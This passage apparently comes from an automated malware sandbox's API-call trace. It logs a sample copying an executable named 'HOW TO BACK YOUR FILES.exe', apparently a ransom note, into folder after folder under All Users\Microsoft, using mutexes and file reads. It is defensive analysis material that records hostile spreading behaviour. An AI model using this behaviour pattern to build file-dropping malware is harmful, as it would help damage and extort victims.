lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.931] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1d97440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1d97440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0102.931] lstrcmpiW (lpString1="Keys", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.931] lstrcmpiW (lpString1="Keys", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.931] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Keys" | out: lpString1="Keys") returned="Keys" [0102.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5466a0 [0102.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x5019a8 [0102.931] lstrcatW (in: lpString1="Keys", lpString2="\\" | out: lpString1="Keys\\") returned="Keys\\" [0102.931] lstrcatW (in: lpString1="Keys\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Keys\\HOW TO BACK YOUR FILES.exe") returned="Keys\\HOW TO BACK YOUR FILES.exe" [0102.931] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Crypto\\Keys\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\crypto\\keys\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.932] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1d97440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1d97440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0102.932] lstrcmpiW (lpString1="RSA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.932] lstrcmpiW (lpString1="RSA", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.932] lstrcpyW (in: lpString1=0x241e8b2, lpString2="RSA" | out: lpString1="RSA") returned="RSA" [0102.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5466b8 [0102.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x501a28 [0102.932] lstrcatW (in: lpString1="RSA", lpString2="\\" | out: lpString1="RSA\\") returned="RSA\\" [0102.932] lstrcatW (in: lpString1="RSA\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="RSA\\HOW TO BACK YOUR FILES.exe") returned="RSA\\HOW TO BACK YOUR FILES.exe" [0102.932] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Crypto\\RSA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\crypto\\rsa\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.932] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1d97440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1d97440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0102.933] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.933] ReleaseMutex (hMutex=0xec) returned 1 [0102.933] CloseHandle (hObject=0xec) returned 1 [0102.933] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Device Stage" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Device Stage") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Device Stage" [0102.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501828 | out: hHeap=0x4f0000) returned 1 [0102.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a5f8 | out: hHeap=0x4f0000) returned 1 [0102.933] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\Device Stage") returned 58 [0102.933] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2CF1B1E618E84909284A5FDAE1B9EE68") returned 0xec [0102.933] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.933] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Device Stage" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Device Stage") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Device Stage" [0102.933] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.933] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Device Stage\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\device stage\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.934] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Device Stage\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\device stage\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.934] GetLastError () returned 0x0 [0102.934] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.934] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.935] CloseHandle (hObject=0xf4) returned 1 [0102.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.935] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.935] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Device Stage\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.935] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.935] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.935] lstrcpyW (in: lpString1=0x241e8be, lpString2="Device" | out: lpString1="Device") returned="Device" [0102.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a5f8 [0102.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x84) returned 0x514998 [0102.935] lstrcatW (in: lpString1="Device", lpString2="\\" | out: lpString1="Device\\") returned="Device\\" [0102.935] lstrcatW (in: lpString1="Device\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Device\\HOW TO BACK YOUR FILES.exe") returned="Device\\HOW TO BACK YOUR FILES.exe" [0102.935] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Device Stage\\Device\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\device stage\\device\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.936] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc479dca0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.936] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.936] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1dbd5a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1dbd5a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0102.936] lstrcmpiW (lpString1="Task", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.936] lstrcmpiW (lpString1="Task", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.936] lstrcpyW (in: lpString1=0x241e8be, lpString2="Task" | out: lpString1="Task") returned="Task" [0102.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a5c8 [0102.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x5195e0 [0102.936] lstrcatW (in: lpString1="Task", lpString2="\\" | out: lpString1="Task\\") returned="Task\\" [0102.936] lstrcatW (in: lpString1="Task\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Task\\HOW TO BACK YOUR FILES.exe") returned="Task\\HOW TO BACK YOUR FILES.exe" [0102.936] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Device Stage\\Task\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\device stage\\task\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.937] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1dbd5a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1dbd5a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0102.937] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.937] ReleaseMutex (hMutex=0xec) returned 1 [0102.937] CloseHandle (hObject=0xec) returned 1 [0102.937] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\DeviceSync" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\DeviceSync") returned="C:\\Documents and Settings\\All Users\\Microsoft\\DeviceSync" [0102.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5017a8 | out: hHeap=0x4f0000) returned 1 [0102.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a610 | out: hHeap=0x4f0000) returned 1 [0102.937] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\DeviceSync") returned 56 [0102.937] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E3577EB0A34FFD736DC693BCC40BCF2E") returned 0xec [0102.937] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.937] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\DeviceSync" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\DeviceSync") returned="C:\\Documents and Settings\\All Users\\Microsoft\\DeviceSync" [0102.937] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.937] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\DeviceSync\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\devicesync\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.938] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\DeviceSync\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\devicesync\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.938] GetLastError () returned 0x0 [0102.938] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.938] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.939] CloseHandle (hObject=0xf4) returned 1 [0102.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.939] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.939] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\DeviceSync\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.939] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.939] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.939] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\DRM" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\DRM") returned="C:\\Documents and Settings\\All Users\\Microsoft\\DRM" [0102.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e890 | out: hHeap=0x4f0000) returned 1 [0102.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a628 | out: hHeap=0x4f0000) returned 1 [0102.939] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\DRM") returned 49 [0102.939] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B6DBFF35E6634FB4E79A63179CE05C8B") returned 0xec [0102.939] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.939] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\DRM" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\DRM") returned="C:\\Documents and Settings\\All Users\\Microsoft\\DRM" [0102.939] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.939] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\DRM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\drm\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.940] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\DRM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\drm\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.940] GetLastError () returned 0x0 [0102.940] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.940] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.941] CloseHandle (hObject=0xf4) returned 1 [0102.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.941] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.941] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\DRM\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.941] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.941] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.941] lstrcpyW (in: lpString1=0x241e8ac, lpString2="Server" | out: lpString1="Server") returned="Server" [0102.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a628 [0102.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x5017a8 [0102.941] lstrcatW (in: lpString1="Server", lpString2="\\" | out: lpString1="Server\\") returned="Server\\" [0102.942] lstrcatW (in: lpString1="Server\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Server\\HOW TO BACK YOUR FILES.exe") returned="Server\\HOW TO BACK YOUR FILES.exe" [0102.942] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\DRM\\Server\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\drm\\server\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.942] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1de3700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1de3700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0102.942] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.942] ReleaseMutex (hMutex=0xec) returned 1 [0102.942] CloseHandle (hObject=0xec) returned 1 [0102.942] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\eHome" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\eHome") returned="C:\\Documents and Settings\\All Users\\Microsoft\\eHome" [0102.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e900 | out: hHeap=0x4f0000) returned 1 [0102.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a640 | out: hHeap=0x4f0000) returned 1 [0102.942] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\eHome") returned 51 [0102.942] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5649F1E3D70131AC4B46B36ED910ABDF") returned 0xec [0102.943] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.943] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\eHome" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\eHome") returned="C:\\Documents and Settings\\All Users\\Microsoft\\eHome" [0102.943] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.943] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\eHome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\ehome\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.943] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\eHome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\ehome\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.943] GetLastError () returned 0x0 [0102.943] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.944] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.944] CloseHandle (hObject=0xf4) returned 1 [0102.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.944] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.944] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\eHome\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.945] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.945] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.945] lstrcpyW (in: lpString1=0x241e8b0, lpString2="logs" | out: lpString1="logs") returned="logs" [0102.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a640 [0102.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x501828 [0102.945] lstrcatW (in: lpString1="logs", lpString2="\\" | out: lpString1="logs\\") returned="logs\\" [0102.945] lstrcatW (in: lpString1="logs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="logs\\HOW TO BACK YOUR FILES.exe") returned="logs\\HOW TO BACK YOUR FILES.exe" [0102.945] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\eHome\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\ehome\\logs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.945] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe1de3700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1de3700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0102.945] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.945] ReleaseMutex (hMutex=0xec) returned 1 [0102.945] CloseHandle (hObject=0xec) returned 1 [0102.946] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Event Viewer" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Event Viewer") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Event Viewer" [0102.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5020a8 | out: hHeap=0x4f0000) returned 1 [0102.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a658 | out: hHeap=0x4f0000) returned 1 [0102.946] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\Event Viewer") returned 58 [0102.946] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\25D73C4763851BCF0A4093304870825A") returned 0xec [0102.946] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.946] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Event Viewer" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Event Viewer") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Event Viewer" [0102.946] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.946] CopyFileW 